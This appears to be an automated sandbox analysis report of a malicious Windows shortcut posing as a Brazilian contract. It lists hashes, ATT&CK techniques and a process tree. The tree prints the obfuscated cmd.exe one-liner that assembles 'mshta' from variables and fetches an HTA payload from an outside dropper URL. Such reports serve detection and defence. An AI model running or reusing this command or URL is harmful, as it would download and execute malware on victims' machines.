3fa75a4da02c9a5ab908fe1456bdd794c9b339a504ebb06360d19fde824030a8

Analysis

max time kernel
150s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:45

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General

Target
Contrato_Indeniza_Brasil-4J6UR0.lnk
Size 1KB
Sample260803-py3daszsev
SHA256 3fa75a4da02c9a5ab908fe1456bdd794c9b339a504ebb06360d19fde824030a8
MD5 53ce7de7e844984c9d876acf5ff6e62d
SHA1 a83ea6f41bc0c3c5065de29a35819c4b80827c3e
SHA512 9d8c57e69f624ea231366b3639637f7a3ffe0ab6d46e63fc0d1821ae2d80e0d4305cb636cdc3dae428a0009b6f6136c4cad6866f7eaa054e69aa72868b002870
TLSH
T1C33197003EFD0654F2B79E7689BB6B1059BBB9968E21C60D4080464C5466E01E67BF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	5616	mshta.exe
4	5616	mshta.exe
5	5616	mshta.exe
6	5616	mshta.exe
12	5616	mshta.exe
13	5616	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4204	cmd.exe
3456	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4204 wrote to memory of 3456	4204	cmd.exe	89
PID 3456 wrote to memory of 5616	3456	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-4J6UR0.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4204
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set Ox=msh&&set JA=ta&&start "" !Ox!!JA! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3456
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    PID:5616

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads